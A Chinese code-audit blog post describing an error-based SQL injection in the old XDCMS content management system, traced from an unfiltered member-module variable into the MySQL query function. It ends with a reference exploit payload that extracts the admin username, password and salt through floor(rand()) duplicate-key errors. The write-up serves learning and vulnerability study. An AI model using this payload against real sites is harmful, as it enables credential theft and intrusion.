【代码审计】XDCMS 报错注入
审计的都是之前很老的一些的CMS,把学习的过程分享出来,如果有正在和我一起学习的兄弟们,希望看到文章之后会有所收获
--------------------------------------------------------------------------------------------------------------------------------------
在system/moudles/member/index.php中

上述代码可以看到$fields 没有被过滤,跟踪$fields这个变量。
在83行把重新组合的值传入到 $field_sql中,继续跟踪$field_sql 这个变量

我们跟踪query这个函数 在system/libs/mysql.class.php中

如果操作失败,会出现一些错误信息。这里我们输入语句就会显示账号密码

参考EXP:
(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x3a,encrypt,0x27,0x7e)
from c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x)a)#
【代码审计】XDCMS 报错注入的更多相关文章
- i春秋——“百度杯”CTF比赛 十月场——Vld(Vulcan Logic Dumper 、php opcode、sql 报错注入)
		打开题目看到提示 "do you know Vulcan Logic Dumper?" ,再查看源码看到"<!-- index.php.txt ?>" ... 
- i春秋“百度杯”CTF比赛 十月场-Vld(单引号逃逸+报错注入)
		题目源代码给出了提示index.php.txt,打开拿到了一段看不太懂得东西. 图片标注的有flag1,flag2,flag3,同时还有三段字符,然后还出现了_GET,脑洞一一点想到访问 ?flag1 ... 
- SQL注入之MySQL报错注入整理
		看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ... 
- Sqli-LABS通关笔录-11[sql注入之万能密码以及登录框报错注入]
		在这一关卡我学到了 1.万能密码的构造,大概的去揣测正常的SQL语句是如何的. 2. 3. 00x1 SQL万能密码的构造 在登录框当中可以添加了一个单引号.报错信息如下所示: 据此报错,我们大概的可 ... 
- 又一种Mysql报错注入
		from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ... 
- Mysql报错注入原理分析(count()、rand()、group by)
		Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ... 
- cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑)
		来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html parse_str()引发的注入, //parse_str()的作用是 ... 
- sql报错注入:extractvalue、updatexml报错原理
		报错注入:extractvalue.updatexml报错原理 MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue.updatexml 名称 描述 Ext ... 
- sqli注入--利用information_schema配合双查询报错注入
		目录 sqli-labs 5.6双查询报错注入通关 0x01 获取目标库名 0x02 获取库中表的数量 0x03 获取库中表名 0x04 获取目标表中的列数 0x05 获取目标表的列名 0x06 从列 ... 
随机推荐
- 解决“(1146, "Table 'mydb.django_session' doesn't exist")”报错的方法
			执行 ./manage.py makemigrations sessions ./manage.py migrate sessions 
- webpack4.41.0配置一(基础配置webpack文件,入口出口,实现打包)
			1.查看node.js版本.npm版本和webpack版本(使用webpack4时,请确保node.js的版本>=8.9.4) 2.我先重新卸载了webpack和webpack-cli(全局) ... 
- Java 数据库树形查询生成菜单结构
			Java 数据库树形查询 JAVA从数据库读取菜单,递归生成菜单树. 定义菜单类 public class Menu { // 菜单id private String id; // 菜单名称 priv ... 
- awk从放弃到入门(3):awk变量
			一.变量概述 对于awk来说"变量"又分为"内置变量" 和 "自定义变量" , "输入分隔符FS"和"输出分隔 ... 
- Java开发之Redis
			简介 Redis 是完全开源免费的,遵守 BSD 协议,是一个高性能的 key - value 数据库 Redis 与 其他 key - value 缓存产品均有以下特点: Redis 支持数据持久化 ... 
- php对字符串的操作2之 处理字符串的内置函数
			1,获取字串:substr($str,$start,$length) mb_substr($str,$start,$length,'utf-8'); 更换为utf8编码,能准确的截取中文 <?p ... 
- JS高级---把局部变量变成全局变量
			如何把局部变量变成全局变量? 把局部变量给window就可以了 函数的自调用---自调用函数 一次性的函数--声明的同时, 直接调用了 (function () { console.log(& ... 
- Ubuntu18.04安装caffe python3.6 opencv3.2 CPU
			设置ubuntu的softwares&updates的源为国内源,这样会提高下载速度. 如果是安装python相关库,为提高速度使用: pip3 install 要下载的库 -i https: ... 
- 其他 - 02. poolmon 安装
			1. 概述 遇到 win10 的内存泄露 32G 内存都能给吃光 2. 思路 rammap 对整体内存做一个诊断 主要是内存分配 用途 状态 poolmon 确认内存的用途 比 rammap 更精确 ... 
- 陆金所退出市场,我说:趁现在,抓紧离开P2P市场,你赞同吗?
			编辑 | 于斌 出品 | 于见(mpyujian) 18日,也就是前天,陆金所退出P2P市场的消息就像颗"重磅炸弹"一样,一波激起千层浪,陆金所作为全国最大财富平台之一,这次退出, ... 
